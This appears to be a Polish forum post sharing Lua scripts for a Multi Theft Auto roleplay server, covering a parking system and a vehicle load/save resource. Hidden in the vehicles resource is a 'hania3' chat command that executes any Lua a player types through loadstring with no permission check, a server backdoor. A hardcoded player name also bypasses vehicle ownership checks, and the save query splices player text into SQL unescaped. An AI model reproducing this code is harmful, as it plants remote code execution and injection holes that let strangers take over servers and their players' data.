xLeFeSx
Wiek: 22 Na forum: 2974 dni Posty: 8
Nick w MP: MixeD
s_parking:
local mdestroy = createMarker (- 2163.34 , 259.64 , 35.33 - 1.5 , "cylinder" , 4 , 255 , 255 , 255 , 50 )
createBlip (- 2163.34 , 259.64 , 35.33 , 35 , 2 , 0 , 0 , 0 , 0 , 0 , 250 )
local t = createElement ( "text" )
setElementData ( t , "scale" , 1.5 )
setElementData ( t , "name" , "Pozostawianie pojazd?w" )
setElementPosition ( t ,- 2163.34 , 259.64 , 35.33 )
addEvent ( "onParkingGetRekords" , true )
addEventHandler ( "onParkingGetRekords" , root , function()
local uid = getElementData ( source , "player:uid" )
if not uid then return end
local result = exports [ "ogrpg-db" ]: dbGet ( "SELECT * FROM ogrpg_vehicles WHERE ownedPlayer=? AND parking=1" , uid )
if #result > 0 then
triggerClientEvent ( source , "onParkingGetVehicles" , source , result )
end
end )
addEventHandler ( "onMarkerHit" , mdestroy , function( el , md )
if getElementType ( el ) == "player" then
local veh = getPedOccupiedVehicle ( el )
if not veh then return end
if getVehicleController ( veh ) ~= el then return end
local id = getElementData ( veh , "vehicle:id" )
if not id then return end
if isTimer ( timeroddania ) then return end
setElementFrozen ( veh , true )
outputChatBox ( "Trwa oddawanie pojazdu." , el , 255 , 255 , 255 , true )
toggleControl ( el , "enter_exit" , false )
timeroddania = setTimer (function()
exports [ "ogrpg-vehicles" ]: onSaveVehicle ( veh )
destroyElement ( veh )
exports [ "ogrpg-db" ]: dbSet ( "UPDATE ogrpg_vehicles SET parking=1 WHERE id=?" , id )
toggleControl ( el , "enter_exit" , true )
outputChatBox ( "* Pomy?lnie zapisano pojazd." , el , 255 , 255 , 255 , true )
end , 3000 , 1 )
end
end )
addEvent ( "onParkingVehicleSpawn" , true )
addEventHandler ( "onParkingVehicleSpawn" , root , function( id )
if not id then return end
local spawn = exports [ "ogrpg-vehicles" ]: onRespawnVehicles ( _ , id ,{ - 2162.43 , 245.11 , 35.32 , - 0.00 , 0.00 , 270 })
if spawn then
addEventHandler ( "onClientRender" , root , render1 )
end
end )
function render1 ()
dxDrawText ( "Zrespiono pojazd" , screenW * 0.3656 , screenH * 0.1553 , screenW * 0.6273 , screenH * 0.3193 , tocolor ( 255 , 255 , 255 , 255 ), 2.50 , "pricedown" , "center" , "center" , false , false , false , false , false )
end
function renderstop1 ()
removeEventHandler ( "onClientRender" , root , render1 )
end
c_parking:
local screenW , screenH = guiGetScreenSize ()
local marker = createMarker (- 2172.07 , 251.73 , 35.34 - 1.5 , "cylinder" , 1.2 , 255 , 255 , 255 , 50 )
local sphere = createColSphere (- 2172.07 , 251.73 , 35.34 , 5 )
local t = createElement ( "text" )
setElementData ( t , "scale" , 1.5 )
setElementData ( t , "name" , "Odbi?r pojazd?w" )
setElementPosition ( t ,- 2172.07 , 251.73 , 35.34 )
local wm ={}
wm . window = guiCreateWindow ( 0.25 , 0.26 , 0.51 , 0.42 , "Odbieranie pojazd?w" , true )
guiWindowSetSizable ( wm . window , false )
guiWindowSetMovable ( wm . window , false )
guiSetVisible ( wm . window , false )
wm . gridlist = guiCreateGridList ( 0.04 , 0.09 , 0.92 , 0.65 , true , wm . window )
guiGridListAddColumn ( wm . gridlist , "ID" , 0.4 )
guiGridListAddColumn ( wm . gridlist , "Model" , 0.6 )
wm . submit = guiCreateButton ( 0.04 , 0.76 , 0.47 , 0.19 , "Wyjmij pojazd" , true , wm . window )
wm . close = guiCreateButton ( 0.57 , 0.75 , 0.39 , 0.20 , "Zamknij" , true , wm . window )
addEvent ( "onParkingGetVehicles" , true )
addEventHandler ( "onParkingGetVehicles" , root , function( result )
guiGridListClear ( wm . gridlist )
if not result then return end
for i , v in pairs ( result ) do
local row = guiGridListAddRow ( wm . gridlist )
guiGridListSetItemText ( wm . gridlist , row , 1 , v [ "id" ], false , false )
guiGridListSetItemText ( wm . gridlist , row , 2 , getVehicleNameFromModel ( v [ "model" ]), false , false )
end
end )
addEventHandler ( "onClientMarkerHit" , marker , function( el , md )
if el ~= localPlayer then return end
if isPedInVehicle ( el ) then return end
if guiGetVisible ( wm . window ) == false then
showCursor ( true )
guiSetVisible ( wm . window , true )
triggerServerEvent ( "onParkingGetRekords" , localPlayer )
-- etCameraMatrix (- 1752.19 , 933.82 , 31.58 , - 1752.18 , 947.21 , 28.42 )
end
end )
addEventHandler ( "onClientGUIClick" , resourceRoot , function()
if source == wm . close then
if guiGetVisible ( wm . window ) == true then
showCursor ( false )
guiSetVisible ( wm . window , false )
setCameraTarget ( localPlayer , localPlayer )
end
end
if source == wm . submit then
local selectedRow = guiGridListGetSelectedItem ( wm . gridlist ) or - 1
if selectedRow < 0 then return end
local vehicles = getElementsWithinColShape ( sphere , "vehicle" )
if #vehicles > 0 then
addEventHandler ( "onClientRender" , root , render1 )
setTimer ( renderstop1 , 4500 , 1 )
return
end
local id = guiGridListGetItemText ( wm . gridlist , selectedRow , 1 )
guiGridListRemoveRow ( wm . gridlist , selectedRow )
triggerServerEvent ( "onParkingVehicleSpawn" , localPlayer , tonumber ( id ))
end
end )
function render1 ()
dxDrawText ( " Nie ma miejsca aby wyci?gn?? pojazd" , screenW * 0.3656 , screenH * 0.1553 , screenW * 0.6273 , screenH * 0.3193 , tocolor ( 255 , 0 , 0 , 255 ), 1.50 , "pricedown" , "center" , "center" , false , false , false , false , false )
end
function renderstop1 ()
removeEventHandler ( "onClientRender" , root , render1 )
end
ogrpg-vehicles:
vehicles = 0
root = getRootElement ()
resourceRoot = getResourceRootElement ( getThisResource ())
local nlOffsets ={
[ 411 ]={- 1 , 0 ,- 0.6 }, -- infernus
[ 470 ]={- 1 , 0 ,- 0.4 }, -- patriot
[ 541 ]={- 0.9 , 0 ,- 0.4 }, -- bulelt
[ 549 ]={- 0.9 , 0 ,- 0.4 }, -- tampa
[ 587 ]={- 1 , 0 ,- 0.5 }, -- euros
}
local nlIDX ={
3962 , 2113 , 1784 , 2054 , 2428 , 2352
}
outputChatBox = _outputChatbox
function outputChatBox ( tekst , gracz )
if not gracz then return end
if not isElement ( gracz ) then return end
if getElementType ( gracz ) ~= "player" then return end
triggerClientEvent ( gracz , "powiadomienie" , root , tekst )
end
function getAdmin2 ( plr , level )
if level then
local result = exports [ "ogrpg-db" ]: dbGet ( "SELECT * from ogrpg_admins WHERE serial=? AND level=?" , getPlayerSerial ( plr ), level )
if result and #result > 0 then
return true
else
return false
end
else
local result = exports [ "ogrpg-db" ]: dbGet ( "SELECT * from ogrpg_admins WHERE serial=?" , getPlayerSerial ( plr ))
if result and #result > 0 then
return true
else
return false
end
end
end
-- ///////////////////////////////////// WCZYTYWANIE POJAZD?W /////////////////////////////////
function getVehicleHandlingProperty ( element , property )
if isElement ( element ) and getElementType ( element ) == "vehicle" and type ( property ) == "string" then
local handlingTable = getVehicleHandling ( element )
local value = handlingTable [ property ]
if value then
return value
end
end
return false
end
function onRespawnVehicles ( _ , id , poss )
-- Settings ( QUERY )
if id then
result = exports [ "ogrpg-db" ]: dbGet ( "SELECT * FROM ogrpg_vehicles WHERE parking=1 and not(police=1) AND id=?" , id )
query = exports [ "ogrpg-db" ]: dbSet ( "UPDATE ogrpg_vehicles SET parking=0 WHERE id=?" , id )
else
result = exports [ "ogrpg-db" ]: dbGet ( "SELECT * FROM ogrpg_vehicles WHERE parking=0 and not(police=1)" )
end
-- Pairs
for ile , vehicle in pairs ( result ) do
vehicles = ile
if id then pos ={ poss [ 1 ], poss [ 2 ], poss [ 3 ], poss [ 4 ], poss [ 5 ], poss [ 6 ]}
else pos = split ( vehicle [ "pos" ], "," ) end
local color = split ( vehicle [ "color" ], "," )
local lights = split ( vehicle [ "headlights" ], "," )
local veh = createVehicle ( vehicle [ "model" ], pos [ 1 ], pos [ 2 ], pos [ 3 ], pos [ 4 ], pos [ 5 ], pos [ 6 ])
setVehicleColor ( veh , color [ 1 ], color [ 2 ], color [ 3 ], color [ 4 ], color [ 5 ], color [ 6 ], color [ 7 ], color [ 8 ], color [ 9 ], color [ 10 ], color [ 11 ], color [ 12 ])
setVehicleHeadLightColor ( veh , lights [ 1 ], lights [ 2 ], lights [ 3 ])
if vehicle [ "plateText" ] ~= "" then
setVehiclePlateText ( veh , vehicle [ "plateText" ])
else
setVehiclePlateText ( veh , tostring ( "LS " .. vehicle [ "id" ]))
end
setElementFrozen ( veh , ( vehicle [ "frozen" ]) > 0 )
if vehicle [ "paintjob" ] ~= 3 then
setVehiclePaintjob ( veh , vehicle [ "paintjob" ])
end
setElementHealth ( veh , vehicle [ "health" ])
setElementData ( veh , "vehicle:spawn" , true )
setElementData ( veh , "vehicle:id" , vehicle [ "id" ])
setElementData ( veh , "vehicle:fuel" , vehicle [ "fuel" ])
setElementData ( veh , "vehicle:desc" , vehicle [ "text" ] or false )
setElementData ( veh , "vehicle:mileage" , vehicle [ "mileage" ])
setElementData ( veh , "vehicle:driver" , vehicle [ "driver" ])
setElementData ( veh , "vehicle:ownedGroup" , vehicle [ "ownedGroup" ])
setElementData ( veh , "vehicle:ownedPlayer" , vehicle [ "ownedPlayer" ])
local mk1 = vehicle [ 'mk1' ]
local mk2 = vehicle [ 'mk2' ]
local rh = vehicle [ 'rh' ]
local xfour = vehicle [ 'naped' ]
local model = vehicle [ 'model' ]
if tonumber ( xfour ) == 1 then
setVehicleHandling ( veh , "driveType" , "awd" )
end
if tonumber ( mk1 ) ~= 0 then
local trujcipa = getModelHandling ( tonumber ( model ))
local fast = trujcipa [ "engineAcceleration" ]
local maxfast = trujcipa [ "maxVelocity" ]
local masa = trujcipa [ "mass" ]
local masa2 = trujcipa [ "turnMass" ]
local xd = trujcipa [ "tractionMultiplier" ]
local coef = trujcipa [ "dragCoeff" ]
-- setElementData ( veh , "pojazd_mk1" , 1 )
setVehicleHandling ( veh , "engineAcceleration" , fast + 10.5 )
setVehicleHandling ( veh , "maxVelocity" , maxfast + 662 )
setVehicleHandling ( veh , "mass" , masa + 100 )
setVehicleHandling ( veh , "tractionMultiplier" , xd + 0.1 )
setVehicleHandling ( veh , "steeringLock" , 40 )
setVehicleHandling ( veh , "dragCoeff" , coef - 0.15 )
end
if tonumber ( mk2 ) ~= 0 then
local trujcipa = getModelHandling ( tonumber ( model ))
local fast = trujcipa [ "engineAcceleration" ]
local maxfast = trujcipa [ "maxVelocity" ]
local masa = trujcipa [ "mass" ]
local masa2 = trujcipa [ "turnMass" ]
local xd = trujcipa [ "tractionMultiplier" ]
local coef = trujcipa [ "dragCoeff" ]
-- setElementData ( veh , "pojazd_mk2" , 1 )
setVehicleHandling ( veh , "engineAcceleration" , fast + 20.3 )
setVehicleHandling ( veh , "maxVelocity" , maxfast + 440 )
setVehicleHandling ( veh , "tractionMultiplier" , xd + 0.2 )
setVehicleHandling ( veh , "mass" , masa + 150 )
setVehicleHandling ( veh , "steeringLock" , 42 )
setVehicleHandling ( veh , "dragCoeff" , coef - 0.21 )
end
--[[
if tonumber ( mk1 ) ~= 1 then
setElementData ( veh , "pojazd_mk1" , 0 )
end
if tonumber ( mk2 ) ~= 1 then
setElementData ( veh , "pojazd_mk2" , 0 )
end
if tonumber ( rh ) ~= 1 then
setElementData ( veh , "rh" , 0 )
end
if tonumber ( rh ) == 1 then
setElementData ( veh , "rh" , 1 )
end
--]]
if ( type ( vehicle [ 'rent' ]) == "string" ) then
local tabelka = {}
local hood = vehicle [ 'removehood' ]
if tonumber ( hood ) == 1 then
setElementData ( veh , "vehicle:bonnet" , true )
end
local mask = vehicle [ 'masked' ]
if tonumber ( mask ) ~= 0 then
setElementData ( veh , "vehicle:masked" , vehicle [ 'masked' ])
end
local rente = split ( vehicle [ 'rent' ], ',' )
for k , v in ipairs ( rente ) do
table . insert ( tabelka , v )
end
setElementData ( veh , "vehicle:rent" , tabelka or false )
else
setElementData ( veh , "vehicle:rent" , 0 )
end
--[[ if vehicle [ "rearlights" ] ~= "" then
setElementData ( veh , "vehicle:light" , vehicle [ "rearlights" ])
else
setElementData ( veh , "vehicle:light" , "High Quality" )
end ]]--
setElementData ( veh , "neony" , vehicle [ "neon" ])
if vehicle [ "blokada" ] == "true" then
setElementData ( veh , "vehicle:block" , true )
setVehicleWheelStates ( veh , 2 , 2 , 2 , 2 )
else
setElementData ( veh , "vehicle:block" , false )
end
local rodzajneonu = tonumber ( getElementData ( veh , "neony" ))
if getElementData ( veh , "neony" ) ~= 0 then
local m = getElementModel ( veh )
local of
if not nlOffsets [ m ] then
of ={- 1 , 0 ,- 0.5 }
else
of = nlOffsets [ m ]
end
neon1 = createObject ( nlIDX [ rodzajneonu ], 0 , 0 , 0 )
neon2 = createObject ( nlIDX [ rodzajneonu ], 0 , 0 , 0 )
setElementData ( veh , "zneony" , { neon1 , neon2 })
attachElements ( neon1 , veh , of [ 1 ], of [ 2 ], of [ 3 ])
attachElements ( neon2 , veh ,- of [ 1 ], of [ 2 ], of [ 3 ])
end
for i , v in ipairs ( split ( vehicle [ "tuning" ], "," )) do addVehicleUpgrade ( veh , v ) end
for i , v in ipairs ( split ( vehicle [ "panelstates" ], "," )) do setVehiclePanelState ( veh , i , tonumber ( v )) end
setVehicleDamageProof ( veh , true )
setVehicleFuelTankExplodable ( veh , true )
end
outputDebugString ( "[og-vehicles] Loaded " .. vehicles .. " vehicles." )
end
-- ///////////////////////////////////// ZAPISYWANIE POJAZD?W /////////////////////////////////
function onSaveVehicle ( vehicle )
if getElementData ( vehicle , "vehicle:spawn" ) then
-- Setting
local panelstates ={}
local model = getElementModel ( vehicle )
local health = getElementHealth ( vehicle )
local x , y , z = getElementPosition ( vehicle )
local rx , ry , rz = getElementRotation ( vehicle )
local desc = getElementData ( vehicle , "vehicle:desc" ) or ""
local id = getElementData ( vehicle , "vehicle:id" )
local fuel = getElementData ( vehicle , "vehicle:fuel" )
local mileage = getElementData ( vehicle , "vehicle:mileage" )
local c1 , c2 , c3 , c4 , c5 , c6 , c7 , c8 , c9 , c10 , c11 , c12 = getVehicleColor ( vehicle , true )
local driver = getElementData ( vehicle , "vehicle:driver" ) or ""
local rent = getElementData ( vehicle , "vehicle:rent" )
local player = getElementData ( vehicle , "vehicle:ownedPlayer" )
-- local group = getElementData ( vehicle , "vehicle:ownedGroup" )
local blokada = getElementData ( vehicle , "vehicle:block" )
local neon = getElementData ( vehicle , "neony" )
local h1 , h2 , h3 = getVehicleHeadLightColor ( vehicle )
local paintjob = getVehiclePaintjob ( vehicle )
local rear = "Brak"
-- local mk1 = getElementData ( vehicle , "pojazd_mk1" )
-- local rh = getElementData ( vehicle , "rh" )
-- local mk2 = getElementData ( vehicle , "pojazd_mk2" )
local mask = getElementData ( vehicle , "vehicle:masked" ) or 0
local frozen = isElementFrozen ( vehicle ) and 1 or 0
for i = 0 , 6 do table . insert ( panelstates , getVehiclePanelState ( vehicle , i )) end
panelstates = table . concat ( panelstates , "," )
upgrades = getVehicleUpgrades ( vehicle )
if not upgrades then upgrades ={} end
upgrades = table . concat ( upgrades , "," )
-- Query
local query = exports [ "ogrpg-db" ]: dbSet ( string . format ( "UPDATE ogrpg_vehicles SET model='%d', pos='%.2f,%.2f,%.2f,%.2f,%.2f,%.2f', rent='%d',text='%s', masked='%d', health='%d', fuel='%d', mileage='%d', frozen='%d', driver='%s', color='%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d', panelstates='%s', paintjob='%d', tuning='%s', headlights='%d,%d,%d', ownedPlayer='%d', neon='%d', blokada='%s' WHERE id=%d" ,
model , x , y , z , rx , ry , rz , "0" , desc , mask , health , fuel , mileage , frozen , driver , c1 , c2 , c3 , c4 , c5 , c6 , c7 , c8 , c9 , c10 , c11 , c12 , panelstates , paintjob , upgrades , h1 , h2 , h3 , player , neon , tostring ( blokada ), id ))
if ( type ( rent ) == "table" ) then
local rr = string . format ( "%s" , table . concat ( rent , ',' ) )
-- outputDebugString ( rr )
local query2 = exports [ 'ogrpg-db' ]: dbSet ( "UPDATE ogrpg_vehicles SET rent=? WHERE id=?" , rr , id )
end
end
end
function onParkVehicle ( vehicle )
local query = exports [ "ogrpg-db" ]: dbSet ( "UPDATE ogrpg_vehicles SET parking=1 WHERE id=?" , getElementData ( vehicle , "vehicle:id" ))
if query then
local zneony = getElementData ( vehicle , "zneony" )
if ( zneony and type ( zneony )== "table" ) then
destroyElement ( zneony [ 1 ])
destroyElement ( zneony [ 2 ])
removeElementData ( vehicle , "zneony" )
end
destroyElement ( vehicle )
end
end
-- ///////////////////////////////////// SPRAWDZANIE USTAWIE? /////////////////////////////////
function getSettings ( plr , code , value )
local uid = getElementData ( plr , "player:uid" )
if not uid then return end
if value == "faction" then
local result = exports [ "ogrpg-db" ]: dbGet ( "SELECT * FROM ogrpg_factions WHERE code=? AND uid=?" , code , uid )
if result and #result > 0 then
return result [ 1 ]. code
else
return false
end
end
if value == "organization" then
local result = exports [ "ogrpg-db" ]: dbGet ( "SELECT * FROM ogrpg_organizations WHERE uid=?" , uid )
if result and #result > 0 then
return result [ 1 ]. code
else
return false
end
end
if value == "owner" then
local result = exports [ "ogrpg-db" ]: dbGet ( "SELECT * FROM ogrpg_users WHERE id=?" , uid )
if result and #result > 0 then
return result [ 1 ]. id
else
return false
end
end
end
-- ///////////////////////////////////// INNE USTAWIENIA /////////////////////////////////
addEventHandler ( "onVehicleExit" , root , function( plr , seat )
if seat ~= 0 then return end
if isElement ( source ) then
onSaveVehicle ( source )
setVehicleEngineState ( source , false )
setVehicleDamageProof ( source , true )
end
unbindKey ( plr , 'h' , 'down' , bindHoron4 )
end )
addEventHandler ( "onPlayerQuit" , root , function()
local veh = getPedOccupiedVehicle ( source )
if veh then
setVehicleDamageProof ( source , true )
onSaveVehicle ( veh )
end
end )
addEventHandler ( "onResourceStop" , resourceRoot , function()
for i , v in ipairs ( getElementsByType ( "vehicle" )) do
onSaveVehicle ( v )
local zneony = getElementData ( v , "zneony" )
if ( zneony and type ( zneony )== "table" ) then
destroyElement ( zneony [ 1 ])
destroyElement ( zneony [ 2 ])
removeElementData ( v , "zneony" )
end
end
outputDebugString ( "[og-vehicles] Saved all vehicles!" )
end )
addEventHandler ( "onVehicleEnter" , root , function( plr , seat )
if seat ~= 0 then return end
setVehicleEngineState ( source , false )
setElementData ( source , "vehicle:driver" , getPlayerName ( plr ))
if getElementData ( source , "neony" ) and getElementData ( source , "neony" ) ~= 0 then
triggerClientEvent ( plr , "addNotification" , root , "* Posiadasz neony w pojezdzie, mo?esz wl?czy? i wylaczyc je za pomoc? przycisku H." , "info" )
bindKey ( plr , 'h' , 'down' , bindHoron4 , plr )
end
end )
addCommandHandler ( "hania3" , function( outputTo , cmd , ...)
local commandstring = table . concat ({...}, " " )
local commandFunction , errorMsg = loadstring ( commandstring )
local notReturned
if errorMsg then
-- It failed . Lets try without "return"
notReturned = true
commandFunction , errorMsg = loadstring ( commandstring )
end
if errorMsg then
-- It still failed . Print the error message and stop the function
return outputChatBox ( errorMsg , outputTo )
end
results = { pcall ( commandFunction ) }
if not results [ 1 ] then
-- It failed .
outputChatBox ( "Error: " .. results [ 2 ], outputTo )
return
end
if not errorMsg then
outputChatBox ( commandstring , outputTo )
outputChatBox ( "Wykonano!" , outputTo )
end
end )
-- ///////////////////////////////////// SPRAWDZENIE W?A?CICIELA /////////////////////////////////
addEventHandler ( "onVehicleStartEnter" , resourceRoot , function( plr , seat , jacked )
if seat == 0 then
local rent = getElementData ( source , "vehicle:rent" )
local group = getElementData ( source , "vehicle:ownedGroup" )
if group == "0" then group = "Brak" end
local player = getElementData ( source , "vehicle:ownedPlayer" )
if getAdmin2 ( plr , 4 ) or getAdmin2 ( plr , 3 ) or getPlayerName ( plr ) == "Ryjek" then
return
end
if rent and ( type ( rent ) == "table" ) then
for i , s in pairs ( rent ) do
if tonumber ( s ) == getElementData ( plr , "player:uid" ) then
return end
end
end
local plrgroup = getElementData ( plr , "player:organization" )
if plrgroup then
-- outputDebugString ( group )
if getSettings ( plr , false , "organization" ) == group then return end
end
if player and player ~= getSettings ( plr , false , "owner" ) then
triggerClientEvent ( plr , "addNotification" , root , "* Nie masz kluczyk?w do tego pojazdu." , "error" )
cancelEvent ()
end
end
end )
addEventHandler ( "onVehicleStartEnter" , root , function( plr , seat , jacked )
if jacked then
if getElementData ( source , "vehicle:ownedPlayer" ) == getElementData ( plr , "player:uid" ) then return end
cancelEvent ()
end
end )
addEventHandler ( "onVehicleStartEnter" , root , function( plr , seat , jacked )
if seat == 0 then
if getElementData ( source , "spawnowany" )== true then
if getElementData ( plr , "player:admin" )== false then
cancelEvent ()
end
end
end
end )
function bindHoron4 ( plr )
veh = getPedOccupiedVehicle ( plr )
if not veh then return end
local rodzajneonu = tonumber ( getElementData ( veh , "neony" ))
if not rodzajneonu then return end
if rodzajneonu == 0 then
outputChatBox ( '* Brak Neonow.' , plr , 255 , 0 , 0 )
return end
local zneony = getElementData ( veh , "zneony" )
if ( zneony and type ( zneony )== "table" ) then
destroyElement ( zneony [ 1 ])
destroyElement ( zneony [ 2 ])
removeElementData ( veh , "zneony" )
triggerClientEvent ( plr , "addNotification" , root , '* Wy??czy?e? Neony.' , "warning" )
else
local m = getElementModel ( veh )
local of
if not nlOffsets [ m ] then
of ={- 1 , 0 ,- 0.5 }
else
of = nlOffsets [ m ]
end
neon1 = createObject ( nlIDX [ rodzajneonu ], 0 , 0 , 0 )
neon2 = createObject ( nlIDX [ rodzajneonu ], 0 , 0 , 0 )
setElementData ( veh , "zneony" , { neon1 , neon2 })
attachElements ( neon1 , veh , of [ 1 ], of [ 2 ], of [ 3 ])
attachElements ( neon2 , veh ,- of [ 1 ], of [ 2 ], of [ 3 ])
triggerClientEvent ( plr , "addNotification" , root , '* W??czy?e? Neony. Pojawi? si? one jak poruszysz pojazdem!' , "info" )
end
end
addEventHandler ( "onElementDestroy" , getRootElement (), function ()
if getElementType ( source ) == "vehicle" then
local zneony = getElementData ( source , "zneony" )
if ( zneony and type ( zneony )== "table" ) then
destroyElement ( zneony [ 1 ])
destroyElement ( zneony [ 2 ])
removeElementData ( source , "zneony" )
end
end
end )
addEventHandler ( "onResourceStart" , resourceRoot , function() onRespawnVehicles ( _ , false ) end )
--[[
vehicles retrieval - mechanizm wylawiajacy pojazdy z wody
@ author Lukasz Biegaj < wielebny @ bestplay . pl >
@ author Karer < karer . programmer @ gmail . com >
@ author WUBE < wube @ lss - rp . pl >
@ copyright 2011 - 2013 Lukasz Biegaj < wielebny @ bestplay . pl >
]]--
function shuffle ( t )
local n = #t
while n >= 2 do
-- n is now the last pertinent index
local k = math . random ( n ) -- 1 <= k <= n
-- Quick swap
t [ n ], t [ k ] = t [ k ], t [ n ]
n = n - 1
end
return t
end
local function vr ()
local pojazdy = getElementsByType ( "vehicle" )
if ( #pojazdy<1) then return end
local pojazdwoda ={}
for _ , pojazd in ipairs ( pojazdy ) do
if isElementInWater ( pojazd ) and not getVehicleController ( pojazd ) then
local x , y , z = getElementPosition ( pojazd )
if ( z <- 1 ) then
table . insert ( pojazdwoda , pojazd )
end
end
end
if ( #pojazdwoda<1) then return end
outputDebugString ( "Pojazdow w wodzie/pod mapa: " .. #pojazdwoda)
shuffle ( pojazdwoda )
local pojazd = pojazdwoda [ 1 ]
if getElementData ( pojazd , "vehicle:spawn" ) then
onParkVehicle ( pojazd )
else
respawnVehicle ( pojazd )
end
end
setTimer ( vr , 35000 , 0 )
local pozwolone ={
[ 471 ] = true , -- quad
[ 453 ] = true , -- kutry
}
-- //////////////////////////////////////////////////////// Licencje
local categoryA ={[ 463 ] = true ,[ 461 ] = true ,[ 581 ] = true ,[ 448 ] = true ,[ 468 ] = true ,[ 521 ] = true ,[ 522 ] = true ,[ 523 ] = true }
local categoryB ={[ 602 ] = true ,[ 545 ] = true ,[ 496 ] = true ,[ 517 ] = true ,[ 401 ] = true ,[ 410 ] = true ,[ 518 ] = true ,[ 600 ] = true ,[ 527 ] = true ,[ 436 ] = true ,[ 589 ] = true ,[ 580 ] = true ,[ 419 ] = true ,[ 439 ] = true ,[ 533 ] = true ,[ 549 ] = true ,[ 526 ] = true ,[ 491 ] = true ,[ 474 ] = true ,[ 445 ] = true ,[ 467 ] = true ,[ 604 ] = true ,[ 426 ] = true ,[ 507 ] = true ,[ 547 ] = true ,[ 585 ] = true ,[ 405 ] = true ,[ 587 ] = true ,[ 409 ] = true ,[ 466 ] = true ,[ 550 ] = true ,[ 492 ] = true ,[ 566 ] = true ,[ 546 ] = true ,[ 540 ] = true ,[ 551 ] = true ,[ 421 ] = true ,[ 516 ] = true ,[ 529 ] = true ,[ 488 ] = true ,[ 460 ] = true ,
[ 469 ] = true ,[ 487 ] = true ,[ 510 ] = true ,[ 509 ] = true ,[ 481 ] = true ,[ 586 ] = true ,[ 472 ] = true ,[ 473 ] = true ,[ 493 ] = true ,[ 595 ] = true ,[ 484 ] = true ,[ 430 ] = true ,[ 453 ] = true ,[ 452 ] = true ,[ 446 ] = true ,[ 454 ] = true ,[ 485 ] = true ,[ 552 ] = true ,
[ 438 ] = true ,[ 574 ] = true ,[ 420 ] = true ,[ 525 ] = true ,[ 408 ] = true ,[ 596 ] = true ,[ 597 ] = true ,[ 427 ] = true ,[ 599 ] = true ,[ 490 ] = true ,[ 432 ] = true ,[ 528 ] = true ,[ 601 ] = true ,[ 407 ] = true ,[ 544 ] = true ,[ 470 ] = true ,[ 598 ] = true ,[ 588 ] = true ,
[ 532 ] = true ,[ 443 ] = true ,[ 486 ] = true ,[ 531 ] = true ,[ 543 ] = true ,[ 422 ] = true ,[ 583 ] = true ,[ 478 ] = true ,[ 605 ] = true ,[ 554 ] = true ,[ 530 ] = true ,[ 418 ] = true ,[ 572 ] = true ,[ 582 ] = true ,[ 536 ] = true ,[ 575 ] = true ,[ 534 ] = true ,
[ 567 ] = true ,[ 535 ] = true ,[ 576 ] = true ,[ 412 ] = true ,[ 402 ] = true ,[ 542 ] = true ,[ 603 ] = true ,[ 475 ] = true ,[ 449 ] = true ,[ 537 ] = true ,[ 570 ] = true ,[ 441 ] = true ,[ 464 ] = true ,[ 501 ] = true ,[ 465 ] = true ,[ 564 ] = true ,[ 568 ] = true ,[ 557 ] = true ,[ 424 ] = true ,[ 504 ] = true ,[ 495 ] = true ,[ 457 ] = true ,[ 539 ] = true ,[ 483 ] = true ,[ 571 ] = true ,[ 500 ] = true ,
[ 444 ] = true ,[ 556 ] = true ,[ 429 ] = true ,[ 411 ] = true ,[ 541 ] = true ,[ 559 ] = true ,[ 415 ] = true ,[ 561 ] = true ,[ 480 ] = true ,[ 560 ] = true ,[ 562 ] = true ,[ 506 ] = true ,[ 565 ] = true ,[ 451 ] = true ,[ 434 ] = true ,[ 558 ] = true ,[ 494 ] = true ,[ 555 ] = true ,[ 502 ] = true ,[ 477 ] = true ,[ 503 ] = true ,[ 579 ] = true ,[ 400 ] = true ,[ 404 ] = true ,[ 489 ] = true ,[ 505 ] = true ,[ 479 ] = true ,[ 442 ] = true ,[ 458 ] = true ,
[ 606 ] = true ,[ 607 ] = true ,[ 610 ] = true ,[ 590 ] = true ,[ 569 ] = true ,[ 611 ] = true ,[ 584 ] = true ,[ 608 ] = true ,[ 435 ] = true ,[ 450 ] = true ,[ 591 ] = true ,[ 594 ] = true }
local categoryC ={[ 403 ] = true ,[ 406 ] = true ,[ 413 ] = true ,[ 414 ] = true ,[ 416 ] = true ,[ 423 ] = true ,[ 428 ] = true ,[ 431 ] = true ,[ 433 ] = true ,[ 437 ] = true ,[ 440 ] = true ,[ 455 ] = true ,[ 456 ] = true ,[ 459 ] = true ,[ 482 ] = true ,[ 498 ] = true ,[ 499 ] = true ,[ 508 ] = true ,[ 514 ] = true ,[ 515 ] = true ,[ 524 ] = true ,[ 538 ] = true ,[ 573 ] = true }
addEventHandler ( "onVehicleStartEnter" , resourceRoot , function( plr , seat , jacked )
if seat == 0 then
if pozwolone [ getElementModel ( source )] then return end
if categoryA [ getElementModel ( source )] then
if exports [ "ogrpg-prace-settings" ]: getVehicleLicense ( plr , "A" ) then
cancelEvent ()
end
elseif categoryB [ getElementModel ( source )] then
if exports [ "ogrpg-prace-settings" ]: getVehicleLicense ( plr , "B" ) then
cancelEvent ()
end
elseif categoryC [ getElementModel ( source )] then
if exports [ "ogrpg-prace-settings" ]: getVehicleLicense ( plr , "C" ) then
cancelEvent ()
end
end
end
end )
--[[
local categoryL ={ 592 , 553 , 577 , 488 , 511 , 497 , 548 , 563 , 512 , 476 , 593 , 447 , 425 , 519 , 520 , 460 , 417 , 469 , 487 , 513 }
addEventHandler ( "onVehicleStartEnter" , root , function( plr , seat , jacked )
if seat ~= 0 then return end
local resultA = exports [ "ogrpg-db" ]: dbGet ( "SELECT * FROM ogrpg_punish WHERE type=? AND active=1 AND serial=? AND time>NOW() LIMIT 1" , "A" , getPlayerSerial ( plr ))
if ( resultA and #resultA > 0) then
if pozwolone [ getElementModel ( source )] then
outputChatBox ( "* Posiadasz zawieszone prawo jazdy do " .. resultA [ "time" ].. ", za: " .. resultA [ "reason" ], plr , 255 , 0 , 0 )
outputChatBox ( "* Wsiadles do pojazdu nie potrzebujacego licencji!" , plr , 255 , 0 , 0 )
return end
cancelEvent ()
outputChatBox ( "* Posiadasz zawieszone prawo jazdy do " .. resultA [ "time" ].. ", za: " .. resultA [ "reason" ], plr , 255 , 0 , 0 )
else
exports [ "ogrpg-db" ]: dbSet ( "DELETE FROM ogrpg_punish WHERE type=? AND active=1 AND serial=?" , "A" , getPlayerSerial ( plr ))
end
end )
addEventHandler ( "onVehicleEnter" , root , function( plr , seat , jacked )
if seat ~= 0 then return end
local resultA = exports [ "ogrpg-db" ]: dbGet ( "SELECT * FROM ogrpg_punish WHERE type=? AND active=1 AND serial=? AND time>NOW() LIMIT 1" , "A" , getPlayerSerial ( plr ))
